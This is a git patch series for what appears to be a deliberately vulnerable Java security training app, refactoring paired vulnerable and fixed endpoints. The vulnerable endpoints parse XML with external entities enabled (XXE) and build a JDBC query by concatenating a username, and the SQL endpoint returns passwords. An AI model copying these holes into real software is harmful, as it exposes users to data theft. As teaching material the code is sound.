- public String xxe_xmlReader_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
+ public String xmlReaderSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// fix code start
@@ -58,168 +64,173 @@ public String xxe_xmlReader_fix(HttpServletRequest request) {
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
- xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml
+ xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
- return "ok";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "xmlReader xxe security code";
}
- @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST)
- public String xxe_SAXBuilder(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
+ public String SAXBuilderVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXBuilder builder = new SAXBuilder();
- org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con))); // cause xxe
- return "ok";
+ // org.jdom2.Document document
+ builder.build(new InputSource(new StringReader(body))); // cause xxe
+ return "SAXBuilder xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST)
- public String xxe_SAXBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
+ public String SAXBuilderSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- org.jdom2.Document document = builder.build(new InputSource(new StringReader(xml_con)));
+ // org.jdom2.Document document
+ builder.build(new InputSource(new StringReader(body)));
- return "ok";
} catch (Exception e) {
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "SAXBuilder xxe security code";
}
- @RequestMapping(value = "/SAXReader", method = RequestMethod.POST)
- public String xxe_SAXReader(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
+ public String SAXReaderVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXReader reader = new SAXReader();
- org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con))); // cause xxe
+ // org.dom4j.Document document
+ reader.read(new InputSource(new StringReader(body))); // cause xxe
- return "ok";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "SAXReader xxe vuln code";
}
- @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST)
- public String xxe_SAXReader_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
+ public String SAXReaderSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- org.dom4j.Document document = reader.read(new InputSource(new StringReader(xml_con)));
-
- return "ok";
+ // org.dom4j.Document document
+ reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "SAXReader xxe security code";
}
- @RequestMapping(value = "/SAXParser", method = RequestMethod.POST)
- public String xxe_SAXParser(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
+ public String SAXParserVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
- parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
+ parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
- return "test";
+ return "SAXParser xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST)
- public String xxe_SAXParser_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
+ public String SAXParserSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
- parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
- return "test";
+ parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "SAXParser xxe security code";
}
- @RequestMapping(value = "/Digester", method = RequestMethod.POST)
- public String xxe_Digester(HttpServletRequest request) {
+ @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
+ public String DigesterVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
Digester digester = new Digester();
- digester.parse(new StringReader(xml_con)); // parse xml
-
- return "test";
+ digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "Digester xxe vuln code";
}
- @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST)
- public String xxe_Digester_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
+ public String DigesterSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- digester.parse(new StringReader(xml_con)); // parse xml
+ digester.parse(new StringReader(body)); // parse xml
- return "test";
+ return "Digester xxe security code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- // 有回显的XXE
- @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST)
- public String xxeDocumentBuilderReturn(HttpServletRequest request) {
+ // 有回显
+ @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
+ public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
-
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
@@ -235,24 +246,24 @@ public String xxeDocumentBuilderReturn(HttpServletRequest request) {
}
}
sr.close();
- System.out.println(buf.toString());
return buf.toString();
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
- public String DocumentBuilder(HttpServletRequest request) {
+ // 有回显
+ @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
+ public String DocumentBuilderVuln02(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
@@ -266,55 +277,54 @@ public String DocumentBuilder(HttpServletRequest request) {
Node node = child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
- result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
+ result.append(node.getNodeName() + ": " +
+ node.getFirstChild().getNodeValue() + "\n");
}
}
}
sr.close();
- System.out.println(result.toString());
return result.toString();
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST)
- public String xxe_DocumentBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
+ public String DocumentBuilderSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
- Document document = db.parse(is); // parse xml
+ db.parse(is); // parse xml
sr.close();
-
- return "test";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "DocumentBuilder xxe security code";
}
- @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST)
- public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
+ public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
@@ -326,25 +336,25 @@ public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
// 测试不能blind xxe,所以强行加了一个回显
- System.out.println("xxeNode: " + xxeNode.getNodeValue());
+ logger.info("xxeNode: " + xxeNode.getNodeValue());
}
}
sr.close();
- return "test";
+ return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST)
- public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
+ public String DocumentBuilderXincludeSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
@@ -353,7 +363,7 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
@@ -365,59 +375,80 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
// 测试不能blind xxe,所以强行加了一个回显
- System.out.println("xxeNode: " + xxeNode.getNodeValue());
+ logger.info("xxeNode: " + xxeNode.getNodeValue());
}
}
sr.close();
- return "test";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "DocumentBuilder xinclude xxe vuln code";
}
- @PostMapping("/XMLReader/vul")
- public String XMLReaderVul(HttpServletRequest request) {
+ @PostMapping("/XMLReader/vuln")
+ public String XMLReaderVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
+
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
- xmlReader.parse(new InputSource(new StringReader(xml_con)));
- return "test";
+ xmlReader.parse(new InputSource(new StringReader(body)));
+
} catch (Exception e) {
- System.out.println(e.toString());
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "XMLReader xxe vuln code";
}
- @PostMapping("/XMLReader/fixed")
+ @PostMapping("/XMLReader/sec")
public String XMLReaderSec(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
+
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- xmlReader.parse(new InputSource(new StringReader(xml_con)));
- return "test";
+ xmlReader.parse(new InputSource(new StringReader(body)));
+
} catch (Exception e) {
- System.out.println(e.toString());
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "XMLReader xxe security code";
}
- public static void main(String[] args) throws Exception {
+ /**
+ * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
+ * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
+ */
+ @PostMapping("/DocumentHelper/vuln")
+ public String DocumentHelper(HttpServletRequest req) {
+ try{
+ String body = WebUtils.getRequestBody(req);
+ DocumentHelper.parseText(body); // parse xml
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return EXCEPT;
+ }
+ return "DocumentHelper xxe vuln code";
+ }
+
+ public static void main(String[] args) throws Exception {
}
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
index 25a72898..5027caac 100644
--- a/src/main/java/org/joychou/filter/JsonpFilter.java
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -49,9 +49,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
return ;
}
- // 校验jsonp逻辑,如果不安全,返回403页面
- if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){
- logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+ // 校验jsonp逻辑,如果不安全,返回forbidden
+ if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){
+ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("forbidden");
response.flushBuffer();
diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java
index 75765b02..d588818b 100644
--- a/src/main/java/org/joychou/security/LoginSuccessHandler.java
+++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java
@@ -6,7 +6,6 @@
import org.springframework.http.MediaType;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
-import org.springframework.security.web.savedrequest.DefaultSavedRequest;
import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
import org.springframework.security.web.savedrequest.SavedRequest;
@@ -14,7 +13,6 @@
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
-import java.net.URI;
import java.util.HashMap;
import java.util.Map;
@@ -31,15 +29,22 @@ public void onAuthenticationSuccess(HttpServletRequest request,
logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS.");
SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response);
+ String originUrl = "";
+ try {
+ originUrl = savedRequest.getRedirectUrl();
+ } catch (Exception e) {
+ logger.debug(e.toString());
+ }
+
if (savedRequest != null) {
- logger.info("Original url is: " + savedRequest.getRedirectUrl());
+ logger.info("Original url is: " + originUrl);
}
Map content = new HashMap<>();
content.put("code", "0");
content.put("message", "Login success");
-
- // google ajax and sendRedirect
+ content.put("redirectUrl", originUrl);
+ // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
response.getWriter().write(JSON.toJSONString(content));
}
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java
index 6ecba2f2..08d9053a 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/SSRFChecker.java
@@ -5,11 +5,13 @@
import java.net.URI;
import java.net.URL;
import org.apache.commons.net.util.SubnetUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
public class SSRFChecker {
private static int connectTime = 5*1000; // 设置连接超时时间5s
-
+ private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
/**
* 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
* url只允许https或者http,并且设置默认连接超时时间。
@@ -27,6 +29,7 @@ public static Boolean checkSSRF(String url) {
// 判断当前请求的URL是否是内网ip
Boolean bRet = isInnerIPByUrl(finalUrl);
if (bRet) {
+ logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
return false; // 内网ip直接return,非内网ip继续判断是否有重定向
}
@@ -87,6 +90,7 @@ private static boolean isInnerIp(String strIP){
for (String subnet: blackSubnetlist) {
SubnetUtils utils = new SubnetUtils(subnet);
if (utils.getInfo().isInRange(strIP)) {
+ logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
return true;
}
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 48573454..809ac544 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,5 +1,6 @@
package org.joychou.security;
+import com.google.common.net.InternetDomainName;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@@ -11,8 +12,9 @@
public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ;
+ private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+
- protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
* 通过endsWith判断URL是否合法
*
@@ -40,6 +42,44 @@ public static String checkURLbyEndsWith(String url, String[] urlwhitelist) {
return null;
} catch (Exception e) {
+ logger.error(e.toString());
+ return null;
+ }
+ }
+
+ /**
+ * 通过google guava判断URL是否合法。默认认为localhost合法
+ *
+ * @param url 需要check的url
+ * @param urlwhitelist 根域名白名单
+ * @return 安全url返回url,危险url返回null
+ */
+ public static String checkUrlByGuava(String url, String[] urlwhitelist){
+ final String localhost = "localhost";
+
+ if (null == url) {
+ return null;
+ }
+
+ try {
+ URI u = new URI(url);
+ if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ return null;
+ }
+ String host = u.getHost().toLowerCase();
+ if (localhost.equals(host)) {
+ return url;
+ }
+ String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
+
+ for (String whiteurl: urlwhitelist){
+ if (rootDomain.equals(whiteurl)) {
+ return url;
+ }
+ }
+ return null;
+ } catch (Exception e) {
+ logger.error(e.toString());
return null;
}
}
@@ -118,4 +158,5 @@ public static String cmdFilter(String input) {
return input;
}
+
}
\ No newline at end of file
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index 1b069872..dc6ee40f 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -53,7 +53,11 @@
success: function (r) {
if (r.code == "0") {
// alert(r.message);
- location.href = ctx + "index";
+ if (r.redirectUrl == '') {
+ location.href = ctx + "index";
+ } else {
+ location.href = r.redirectUrl;
+ }
} else {
alert(r.message);
}
From 0d9938584adbf0efd49273b1afc773f66cf73747 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Wed, 25 Mar 2020 11:43:53 +0800
Subject: [PATCH 12/41] update mybatis sql injection
---
pom.xml | 2 +-
.../org/joychou/controller/FileUpload.java | 71 +++++++-------
.../java/org/joychou/controller/SQLI.java | 92 +++++++++----------
.../java/org/joychou/controller/SSRF.java | 5 +-
.../org/joychou/controller/URLWhiteList.java | 1 +
src/main/java/org/joychou/dao/User.java | 2 -
.../java/org/joychou/mapper/UserMapper.java | 5 +-
.../DisableSpringSecurityFirewall.java | 27 ++++++
.../org/joychou/security/SecurityUtil.java | 46 ++++++++++
src/main/resources/application.properties | 2 +
src/main/resources/mapper/UserMapper.xml | 9 +-
src/main/resources/templates/index.html | 2 +-
.../resources/templates/uploadStatus.html | 10 --
13 files changed, 173 insertions(+), 101 deletions(-)
create mode 100644 src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
delete mode 100755 src/main/resources/templates/uploadStatus.html
diff --git a/pom.xml b/pom.xml
index 14dc18dc..11de6121 100644
--- a/pom.xml
+++ b/pom.xml
@@ -7,7 +7,7 @@
sec
java-sec-code
1.0.0
- jar
+ war
1.8
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 77388816..d7297539 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -4,10 +4,7 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
@@ -21,6 +18,8 @@
import java.nio.file.Paths;
import java.util.UUID;
+import org.joychou.security.SecurityUtil;
+
/**
* @author JoyChou (joychou@joychou.org)
@@ -35,6 +34,7 @@ public class FileUpload {
// Save the uploaded file to this folder
private static String UPLOADED_FOLDER = "/tmp/";
private final Logger logger= LoggerFactory.getLogger(this.getClass());
+ private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789";
@GetMapping("/")
public String index() {
@@ -73,14 +73,13 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
return "redirect:/file/status";
}
+
// only upload picture
@PostMapping("/upload/picture")
- public String uploadPicture(@RequestParam("file") MultipartFile multifile,
- RedirectAttributes redirectAttributes) throws Exception{
+ @ResponseBody
+ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{
if (multifile.isEmpty()) {
- // 赋值给uploadStatus.html里的动态参数message
- redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
- return "redirect:/file/status";
+ return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
@@ -88,40 +87,48 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
String mimeType = multifile.getContentType(); // 获取MIME类型
File excelFile = convert(multifile);
- // 判断文件后缀名是否在白名单内
- String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; // 后缀名白名单
- Boolean suffixFlag = false;
+
+ // 判断文件后缀名是否在白名单内 校验1
+ String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+ boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
-
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
+ deleteFile(excelFile);
+ return "Upload failed. Illeagl picture.";
}
- String mimeTypeBlackList[] = {"text/html"}; // 不允许传html
- Boolean mimeBlackFlag = false;
+ // 判断MIME类型是否在黑名单内 校验2
+ String mimeTypeBlackList[] = {
+ "text/html",
+ "text/javascript",
+ "application/javascript",
+ "application/ecmascript",
+ "text/xml",
+ "application/xml"
+ };
for (String blackMimeType : mimeTypeBlackList) {
- if (mimeType.equalsIgnoreCase(blackMimeType) ) {
- mimeBlackFlag = true;
+ // 用contains是为了防止text/html;charset=UTF-8绕过
+ if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) {
logger.error("[-] Mime type error: " + mimeType);
- break;
+ deleteFile(excelFile);
+ return "Upload failed. Illeagl picture.";
}
}
+ // 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
- if( !isImageFlag ){
+ if( !isImage(excelFile) ){
logger.error("[-] File is not Image");
- }
- if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) {
- redirectAttributes.addFlashAttribute("message", "illeagl picture");
deleteFile(excelFile);
- return "redirect:/file/status";
+ return "Upload failed. Illeagl picture.";
}
@@ -130,24 +137,16 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
-
- redirectAttributes.addFlashAttribute("message",
- "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'");
-
} catch (IOException e) {
- redirectAttributes.addFlashAttribute("message", "upload failed");
- e.printStackTrace();
+ logger.error(e.toString());
deleteFile(excelFile);
- return "redirect:/file/status";
+ return "Upload failed";
}
deleteFile(excelFile);
- return "redirect:/file/status";
- }
-
- @GetMapping("/status")
- public String uploadStatus() {
- return "uploadStatus";
+ logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+ logger.info("[+] Successfully uploaded {}{}", UPLOADED_FOLDER, multifile.getOriginalFilename());
+ return "Upload success";
}
private void deleteFile(File... files) {
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 9275593c..cf49a335 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -3,6 +3,9 @@
import org.joychou.mapper.UserMapper;
import org.joychou.dao.User;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.*;
@@ -12,9 +15,8 @@
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.08.22
- * @desc SQL Injection
+ * SQL Injection
+ * @author JoyChou @2018.08.22
*/
@SuppressWarnings("Duplicates")
@@ -22,11 +24,15 @@
@RequestMapping("/sqli")
public class SQLI {
+ private static Logger logger = LoggerFactory.getLogger(SQLI.class);
private static String driver = "com.mysql.jdbc.Driver";
+
@Value("${spring.datasource.url}")
private String url;
+
@Value("${spring.datasource.username}")
private String user;
+
@Value("${spring.datasource.password}")
private String password;
@@ -35,12 +41,12 @@ public class SQLI {
/**
- * Vul Code.
+ * Vuln Code.
* http://localhost:8080/sqli/jdbc/vul?username=joychou
*
* @param username username
*/
- @RequestMapping("/jdbc/vul")
+ @RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username){
String result = "";
try {
@@ -50,37 +56,28 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){
if(!con.isClosed())
System.out.println("Connecting to Database successfully.");
- // sqli vuln code 漏洞代码
+ // sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
- System.out.println(sql);
+ logger.info(sql);
ResultSet rs = statement.executeQuery(sql);
-
- System.out.println("-----------------");
-
while(rs.next()){
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
-
+ logger.info(res_name + ": " + res_pwd);
}
rs.close();
con.close();
}catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
- e.printStackTrace();
